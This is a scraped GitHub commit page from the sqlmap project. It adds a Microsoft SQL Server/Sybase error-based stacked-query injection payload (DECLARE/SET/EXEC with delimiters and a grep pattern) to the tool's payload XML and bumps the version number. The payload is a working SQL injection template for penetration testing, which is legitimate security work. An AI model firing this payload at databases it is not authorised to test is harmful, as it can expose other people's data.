Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 1dedc36

Browse files
committed
Implementation for #4212
1 parent c1d46c9 commit 1dedc36

2 files changed

Lines changed: 24 additions & 1 deletion

File tree

data/xml/payloads/error_based.xml

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1298,4 +1298,27 @@
12981298
and SAP MaxDB - no known techniques at this time
12991299
-->
13001300
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
1301+
1302+
<!-- Error-based tests - stacking -->
1303+
<test>
1304+
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
1305+
<stype>2</stype>
1306+
<level>2</level>
1307+
<risk>1</risk>
1308+
<clause>1-8</clause>
1309+
<where>1</where>
1310+
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
1311+
<request>
1312+
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
1313+
<comment>--</comment>
1314+
</request>
1315+
<response>
1316+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
1317+
</response>
1318+
<details>
1319+
<dbms>Microsoft SQL Server</dbms>
1320+
<dbms>Sybase</dbms>
1321+
</details>
1322+
</test>
1323+
<!-- End of error-based tests - stacking -->
13011324
</root>

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818
from thirdparty.six import unichr as _unichr
1919

2020
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
21-
VERSION = "1.4.6.3"
21+
VERSION = "1.4.6.4"
2222
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2323
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2424
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

0 commit comments

Comments
 (0)